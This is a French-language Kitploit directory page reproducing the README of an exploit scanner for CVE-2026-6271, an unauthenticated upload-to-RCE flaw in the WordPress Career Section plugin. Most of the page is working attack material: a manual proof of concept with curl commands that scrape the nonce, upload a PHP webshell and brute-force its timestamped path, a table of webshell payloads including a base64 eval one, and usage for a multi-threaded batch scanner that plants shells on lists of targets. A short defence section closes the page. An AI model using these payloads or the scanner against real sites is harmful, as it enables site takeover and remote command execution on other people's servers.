Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2026-6271 — Scanner automatisé pour CVE-2026-6271, une vulnérabilité critique de téléchargement de fichier arbitraire non authentifié menant à une exécution de code à distance (RCE) dans le plugin WordPress Career Section. Prend en charge le scan multi-thread, plusieurs types de shell et l'intégration de proxy. | Kitploit
Outils/GitHubGitHub/xxconi/cve-2026-6271
Scanners de VulnérabilitésGénération de PayloadsExploitationExploitation d'Applications WebTests d'IntrusionApprentissage et ÉducationRed Teaming
GitHubxxconi/cve-2026-6271

CVE-2026-6271

Voir le dépôt
1il y a 3 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →

À propos

Scanner automatisé pour CVE-2026-6271, une vulnérabilité critique de téléchargement de fichier arbitraire non authentifié menant à une exécution de code à distance (RCE) dans le plugin WordPress Career Section. Prend en charge le scan multi-thread, plusieurs types de shell et l'intégration de proxy.

Partager

CVE-2026-6271 — Scanner RCE pour l'extension WordPress Career Section

Extension : Career Section (career-section) Identifiant CVE : CVE-2026-6271 Score CVSS : 9.8 (Critique) Vecteur CVSS : CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H Type de vulnérabilité : Téléchargement de fichier arbitraire non authentifié → Exécution de code à distance Version affectée : <= 1.7 Version corrigée : 1.8 Date de publication : 13 mai 2026 Chercheur : Paolo Tresso — Wordfence


📌 À propos de la vulnérabilité

L'extension Career Section permet aux propriétaires de sites de publier des offres d'emploi et de collecter des candidatures. Chaque page d'offre d'emploi contient un formulaire « Apply Now ». Ce formulaire comprend un champ de téléchargement de CV.

Dans les versions 1.7 et antérieures, le gestionnaire de téléchargement accepte tout type de fichier — y compris .php. Comme le formulaire est public et que le jeton CSRF est intégré dans le HTML de la page, cette faille peut être exploitée sans nécessiter de compte ni d'autorisation.


⚙️ Analyse technique

Pourquoi la protection par nonce est-elle insuffisante ?

Les nonces WordPress sont des jetons CSRF, pas des jetons d'authentification. La valeur du nonce est intégrée dans le HTML de la page pour chaque visiteur :

root@kitploit:~
<script id='prosolwpclient-public-js-extra'>
<!-- templates/single-csection.php — line 316 -->
<?php wp_nonce_field( 'csaf_form_submission', 'csaf_form_nonce' ); ?>

Tout visiteur non authentifié peut obtenir un nonce valide et passer le contrôle de validation.

Absence de validation du type de fichier

root@kitploit:~
// templates/single-csection.php — lignes 170–182 (version 1.7)
if ( ! empty( $_FILES['cv']['name'] ) && ! empty( $_FILES['cv']['tmp_name'] ) ) {

    $original_name = sanitize_file_name( $_FILES['cv']['name'] );
    $name_file     = time() . '_' . $original_name;
    $destination   = $cs_dir . '/' . $name_file;

    // PAS de contrôle d'extension — tout est accepté, y compris .php
    if ( $wp_filesystem->move( $_FILES['cv']['tmp_name'], $destination, true ) ) {
        $uploaded_file_url = $upload_dir['baseurl']
                           . '/cs_applicant_submission_files/'
                           . $name_file;
    }
}

sanitize_file_name() nettoie uniquement les caractères spéciaux, il n'empêche pas les extensions dangereuses.

Répertoire de téléchargement

root@kitploit:~
wp-content/uploads/cs_applicant_submission_files/<timestamp>_<filename>

Ce répertoire ne contient pas de fichier .htaccess empêchant l'exécution de PHP.


🔴 Pourquoi est-ce critique ?

RaisonExplication
Authentification non requiseLe nonce est intégré dans le HTML public
Aucune restriction de type de fichier.php, .php5, .phtml sont acceptés
Absence de protection .htaccessPHP s'exécute dans le répertoire de téléchargement
Nom de fichier prévisibletime()_filename → force brute de timestamp

🧪 Preuve de concept (Manuelle)

⚠️ Avertissement : Cette PoC est à des fins éducatives uniquement. Testez uniquement sur des systèmes vous appartenant ou pour lesquels vous avez une autorisation écrite explicite.

Prérequis :

  • Extension Career Section installée et active (version ≤ 1.7)
  • Au moins une offre d'emploi publiée

Étape 1 — Créer un webshell PHP

root@kitploit:~
echo '<?php system($_GET["cmd"]); ?>' > shell.php

Étape 2 — Récupérer le nonce

root@kitploit:~
TARGET="http://target.com"
JOB_URL="$TARGET/careers/software-engineer/"

NONCE=$(curl -s "$JOB_URL" \
  | grep -oP 'name="csaf_form_nonce" value="\K[^"]+')

echo "Nonce : $NONCE"

Structure à rechercher dans le code source de la page :

root@kitploit:~
<input type="hidden"
       id="csaf_form_nonce"
       name="csaf_form_nonce"
       value="a1b2c3d4e5" />

Étape 3 — Télécharger le webshell

root@kitploit:~
TS=$(date +%s)

curl -s -X POST "$JOB_URL" \
  -F "first_name=John" \
  -F "last_name=Doe" \
  -F "present_address=123 Main St" \
  -F "[email protected]" \
  -F "mobile_no=1234567890" \
  -F "post_name=Engineer" \
  -F "submit=Submit" \
  -F "csaf_form_nonce=$NONCE" \
  -F "[email protected];type=application/pdf" \
  | grep -o "Application has been sent"

Étape 4 — Déclencher l'RCE

Le nom du fichier est au format <timestamp>_shell.php. Essayez les timestamps autour de $TS :

root@kitploit:~
UPLOADS="$TARGET/wp-content/uploads/cs_applicant_submission_files"

for T in $(seq $((TS-2)) $((TS+2))); do
  URL="$UPLOADS/${T}_shell.php"
  RESULT=$(curl -s "$URL?cmd=id")
  if echo "$RESULT" | grep -q "uid="; then
    echo "Webshell actif : $URL"
    echo "Sortie RCE   : $RESULT"
    break
  fi
done

Sortie attendue :

root@kitploit:~
Webshell actif : http://target.com/wp-content/uploads/cs_applicant_submission_files/1747302451_shell.php
Sortie RCE   : uid=33(www-data) gid=33(www-data) groups=33(www-data)

🛠️ Scanner automatisé

Installation

root@kitploit:~
git clone https://github.com/kullanici/cve-2026-6271-scanner
cd cve-2026-6271-scanner
pip install -r requirements.txt

requirements.txt

root@kitploit:~
requests

🚀 Utilisation

Cible unique

root@kitploit:~
python career_section_rce.py -u http://hedef.com

Avec URL d'offre directe

root@kitploit:~
python career_section_rce.py -u http://hedef.com \
  --job-url http://hedef.com/careers/engineer/

Avec vérification du shell

root@kitploit:~
python career_section_rce.py -u http://hedef.com \
  --verify-cmd "whoami"

Scan par lot

root@kitploit:~
python career_section_rce.py -l targets.txt -t 20 -o sonuclar.txt

Fenêtre de timestamp élargie (serveurs lents)

root@kitploit:~
python career_section_rce.py -u http://hedef.com --ts-window 10

Shell complet + Proxy (Burp Suite)

root@kitploit:~
python career_section_rce.py -u http://hedef.com \
  --shell-type full \
  --proxy http://127.0.0.1:8080

⚙️ Paramètres

ParamètreCourtDescriptionDéfaut
--url-uURL de la cible unique—
--list-lFichier de liste de cibles—
--threads-tNombre de threads10
--output-oFichier de sortierce_confirmed.txt
--job-url—URL directe de l'offre d'emploi—
--shell-name—Nom du fichier à téléchargershell.php
--shell-type—Type de shellsystem
--verify-cmd—Commande de vérification RCEid
--ts-window—Fenêtre de force brute du timestamp (±sec)5
--proxy—URL du proxy—
--timeout—Délai d'attente des requêtes (sec)10

💀 Types de shell

TypeCharge utileDescription
system<?php system($_GET["cmd"]); ?>Commande système de base
passthru<?php passthru($_GET["cmd"]); ?>Sortie brute
exec<?php echo exec($_GET["cmd"]); ?>Exécution silencieuse
assert<?php assert($_POST["cmd"]); ?>Évaluation via POST
b64<?php eval(base64_decode($_POST["cmd"])); ?>Obfuscation Base64
fullshell_exec + system + exec fallbackShell complet

📂 Emplacement de téléchargement du shell

root@kitploit:~
Racine WordPress/
└── wp-content/
    └── uploads/
        └── cs_applicant_submission_files/
            └── <timestamp>_shell.php   ← Shell ici

Accès direct :

root@kitploit:~
curl "http://hedef.com/wp-content/uploads/cs_applicant_submission_files/1747302451_shell.php?cmd=id"
# uid=33(www-data) gid=33(www-data) groups=33(www-data)

📊 Statuts de sortie du scanner

StatutDescription
★ RCE OKShell téléchargé + commande exécutée avec succès
★ SHELL ALIVEShell accessible, réponse différente
~ EXEC_DISABLEDShell présent mais exec() désactivé sur le serveur
? UPLOADEDTéléchargé mais timestamp introuvable
- BLOCKEDType de fichier bloqué (version corrigée)
~ NO_NONCEcsaf_form_nonce introuvable
~ TIMEOUTDélai d'attente de connexion dépassé
~ UNREACHCible inaccessible

🖥️ Exemple de sortie du scanner

root@kitploit:~
[*] 3 cibles | CVE-2026-6271 Career Section | threads=10

[★ RCE OK    ] http://hedef1.com
  Nonce     : a1b2c3d4e5  (source : http://hedef1.com/careers/engineer/)
  URL du shell : http://hedef1.com/wp-content/uploads/cs_applicant_submission_files/1747302451_shell.php
  Sortie RCE : uid=33(www-data) gid=33(www-data) groups=33(www-data)

[- BLOCKED   ] http://hedef2.com  (type de fichier bloqué)
[~ NO_NONCE  ] http://hedef3.com  (csaf_form_nonce introuvable)

──────────────────────────────────────────────────────────────
  UPLOADED_RCE_OK         :    1  █
  BLOCKED                 :    1  █
  NO_NONCE                :    1  █
──────────────────────────────────────────────────────────────
  RCE confirmé → rce_confirmed.txt
──────────────────────────────────────────────────────────────

🛡️ Défense / Correctif

MesureMise en œuvre
Mise à jour de l'extensionMettre à niveau vers Career Section 1.8 ou supérieur
Bloquer l'exécution PHPAjouter un fichier .htaccess dans le répertoire de téléchargement
Liste blanche d'extensionsAccepter uniquement pdf, doc, docx
Validation MIMEVérifier le contenu réel avec finfo_file()
Règle WAFBloquer les requêtes de téléchargement .php

Fichier .htaccess pour le répertoire wp-content/uploads/cs_applicant_submission_files/ :

root@kitploit:~
<FilesMatch "\.php\d?$">
    Deny from all
</FilesMatch>

Options -ExecCGI
AddType text/plain .php .php5 .phtml .phar

📁 Structure des fichiers

root@kitploit:~
cve-2026-6271-scanner/
├── career_section_rce.py   # Scanner principal
├── requirements.txt        # Dépendances
└── README.md               # Ce fichier

⚠️ Avertissement légal

Cet outil et cette PoC sont destinés uniquement à une utilisation sur des systèmes autorisés, à des fins éducatives et dans le cadre de tests d'intrusion. Leur utilisation sur des systèmes non autorisés constitue une infraction pénale au regard des articles 243-245 du Code pénal turc et des lois internationales sur la cybercriminalité. Le développeur décline toute responsabilité légale découlant d'une utilisation abusive de cet outil.


📄 Licence

Licence MIT — À des fins éducatives et de recherche uniquement.


🔗 Références

  • Avis Wordfence
  • Annuaire des extensions WordPress — Career Section
  • Calculateur CVSS 3.1
Télécharger l’outil